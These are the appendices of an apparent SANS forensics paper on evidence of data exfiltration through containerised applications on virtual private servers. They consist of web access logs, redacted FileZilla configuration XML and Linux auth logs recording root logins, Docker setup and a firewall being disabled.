Seth Enoka. seth.enoka@gmail.com
Evidence of Data Exfiltration via Containerised Applications on Virtual Private Servers

Seth Enoka, seth.enoka@gmail.com


Seth Enoka. seth.enoka@gmail.com


Seth Enoka. seth.enoka@gmail.com
Appendix A

[redacted IP] - - [20/May/2018:01:51:10 +0000] "GET / HTTP/1.1" 200 9966 "-
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_4) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36" "-

"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_4) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36" "-

"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_4) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36" "-

"http://149.28.167.212:5800/" "Mozilla/5.0 (Macintosh; Intel Mac OS X
10_13_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139
Safari/537.36" "-

"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_4) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36" "-

"http://149.28.167.212:5800/" "Mozilla/5.0 (Macintosh; Intel Mac OS X
10_13_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139
Safari/537.36" "-

Seth Enoka. seth.enoka@gmail.com
Evidence of Data Exfiltration via Containerised Applications on Virtual Private Servers

Seth Enoka, seth.enoka@gmail.com
Evidence of Data Exfiltration via Containerised Applications on Virtual Private Servers

Seth Enoka, seth.enoka@gmail.com
Evidence of Data Exfiltration via Containerised Applications on Virtual Private Servers

Appendix B

<?xml version="1.0" encoding="UTF-8"?>
<FileZilla3 version="3.33.0" platform="*nix">
  <RecentServers>
    <Server>
      <Host>[redacted]</Host>
      <Port>21</Port>
      <Protocol>0</Protocol>
      <Type>0</Type>
      <User>[redacted]</User>
      <Logontype>2</Logontype>
      <TimezoneOffset>0</TimezoneOffset>
      <PasvMode>MODE_DEFAULT</PasvMode>
      <MaximumMultipleConnections>0</MaximumMultipleConnections>
      <EncodingType>Auto</EncodingType>
      <BypassProxy>0</BypassProxy>
    </Server>
  </RecentServers>
</FileZilla3>

Seth Enoka. seth.enoka@gmail.com
Appendix C

<?xml version="1.0" encoding="UTF-8"?>
<FileZilla3 version="3.33.0" platform="*nix">
  <TrustedCerts>
    <Certificate>
      <Data>[redacted]</Data>
      <ActivationTime>1514937600</ActivationTime>
      <ExpirationTime>1554335999</ExpirationTime>
      <Host>[redacted]</Host>
      <Port>21</Port>
      <TrustSANs>0</TrustSANs>
    </Certificate>
  </TrustedCerts>
</FileZilla3>
Appendix D

Feb 7 16:33:14 guest systemd-logind[796]: New seat seat0.

Feb 7 16:33:14 guest systemd-logind[796]: Watching system buttons on /dev/input/event0 (Power Button)

Feb 7 16:33:15 guest sshd[929]: Server listening on 0.0.0.0 port 22.

Feb 7 16:33:15 guest sshd[929]: Server listening on :: port 22.

Feb 7 16:33:19 guest sshd[1072]: Did not receive identification string from 10.0.2.2

Feb 7 16:33:19 guest sshd[1071]: Accepted password for root from 10.0.2.2 port 53914 ssh2

Feb 7 16:33:19 guest sshd[1071]: pam_unix(sshd:session): session opened for user root by (uid=0)

Feb 7 16:33:19 guest systemd: pam_unix(systemd-user:session): session opened for user root by (uid=0)

Feb 7 16:33:19 guest systemd-logind[796]: New session 1 of user root.

Feb 7 16:33:30 guest sudo: root : TTY=unknown ; PWD=/root ; USER=root ; COMMAND=/usr/bin/apt-key add -

Feb 7 16:33:30 guest sudo: pam_unix(sudo:session): session opened for user root by (uid=0)

Feb 7 16:33:30 guest sudo: pam_unix(sudo:session): session closed for user root

Feb 7 16:33:45 guest groupadd[4402]: group added to /etc/group: name=docker, GID=999

Feb 7 16:33:45 guest groupadd[4402]: group added to /etc/gshadow: name=docker

Feb 7 16:33:45 guest groupadd[4402]: new group: name=docker, GID=999

Feb 7 16:33:48 guest useradd[4689]: new user: name=docker, UID=1000, GID=999, home=/home/docker, shell=

Seth Enoka. seth.enoka@gmail.com
Feb 7 16:33:49 guest sshd[929]: Received signal 15; terminating.

May 20 01:33:36 guest systemd-logind[688]: New seat seat0.

May 20 01:33:36 guest systemd-logind[688]: Watching system buttons on /dev/input/event0 (Power Button)

May 20 01:33:36 guest sshd[799]: Server listening on 0.0.0.0 port 22.

May 20 01:33:36 guest sshd[799]: Server listening on :: port 22.

May 20 01:33:38 guest sshd[799]: Received SIGHUP; restarting.

May 20 01:33:38 guest sshd[799]: Server listening on 0.0.0.0 port 22.

May 20 01:33:38 guest sshd[799]: Server listening on :: port 22.

May 20 01:33:38 guest sshd[799]: Received SIGHUP; restarting.

May 20 01:33:38 guest sshd[799]: Server listening on 0.0.0.0 port 22.

May 20 01:33:38 guest sshd[799]: Server listening on :: port 22.

May 20 01:33:40 guest sshd[799]: Received SIGHUP; restarting.

May 20 01:33:40 guest sshd[799]: Server listening on 0.0.0.0 port 22.

May 20 01:33:40 guest sshd[799]: Server listening on :: port 22.

May 20 01:33:41 guest systemd-logind[1685]: New seat seat0.

May 20 01:33:41 guest systemd-logind[1685]: Watching system buttons on /dev/input/event0 (Power Button)

May 20 01:47:16 guest sshd[2781]: Did not receive identification string from 52.148.80.49

May 20 01:47:46 guest sshd[2797]: Accepted password for root from [redacted IP] port 54219 ssh2

May 20 01:47:46 guest sshd[2797]: pam_unix(sshd:session): session opened for user root by (uid=0)

May 20 01:47:46 guest systemd-logind[1685]: New session 1 of user root.

Seth Enoka. seth.enoka@gmail.com
Evidence of Data Exfiltration via Containerised Applications on Virtual Private Servers

Seth Enoka, seth.enoka@gmail.com

May 20 01:47:46 guest systemd: pam_unix(systemd-user:session): session opened for user root by (uid=0)

May 20 01:48:15 guest sudo: root : TTY=pts/0 ; PWD=/root ; USER=root ; COMMAND=/usr/sbin/ufw disable

May 20 01:48:15 guest sudo: pam_unix(sudo:session): session opened for user root by root(uid=0)

May 20 01:48:15 guest sudo: pam_unix(sudo:session): session closed for user root

May 20 02:00:34 guest sshd[2797]: Disconnected from [redacted IP] port 54219

May 20 02:00:34 guest sshd[2797]: Received disconnect from [redacted IP] port 54219:11: disconnected by user

May 20 02:00:34 guest sshd[2797]: Disconnected from [redacted IP] port 54219

May 20 02:00:34 guest sshd[2797]: pam_unix(sshd:session): session closed for user root

May 20 02:00:34 guest systemd-logind[1685]: Removed session 1.

May 20 02:00:40 guest sshd[4397]: Accepted password for root from [redacted IP] port 54304 ssh2

May 20 02:00:40 guest sshd[4397]: pam_unix(sshd:session): session opened for user root by (uid=0)

May 20 02:00:40 guest systemd: pam_unix(systemd-user:session): session opened for user root by (uid=0)

May 20 02:00:40 guest systemd-logind[1685]: New session 2 of user root.

May 20 02:14:37 guest sshd[4397]: Received disconnect from [redacted IP] port 54304:11: disconnected by user

May 20 02:14:37 guest sshd[4397]: Disconnected from [redacted IP] port 54304

May 20 02:14:37 guest sshd[4397]: pam_unix(sshd:session): session closed for user root

May 20 02:14:37 guest systemd-logind[1685]: Removed session 2.

Seth Enoka. seth.enoka@gmail.com
Evidence of Data Exfiltration via Containerised Applications on Virtual Private Servers

May 20 02:14:37 guest systemd: pam_unix(systemd-user:session): session closed for user root

May 20 02:17:01 guest CRON[4574]: pam_unix(cron:session): session opened for user root by (uid=0)

May 20 02:17:01 guest CRON[4574]: pam_unix(cron:session): session closed for user root

Seth Enoka. seth.enoka@gmail.com
## Upcoming SANS Training

Click here to view a list of all SANS Courses

<table>
<thead>
<tr>
<th>SANS OnDemand</th>
<th>OnlineUS</th>
<th>Anytime</th>
<th>Self Paced</th>
</tr>
</thead>
<tbody>
<tr>
<td>SANS SelfStudy</td>
<td>Books &amp; MP3s OnlyUS</td>
<td>Anytime</td>
<td>Self Paced</td>
</tr>
</tbody>
</table>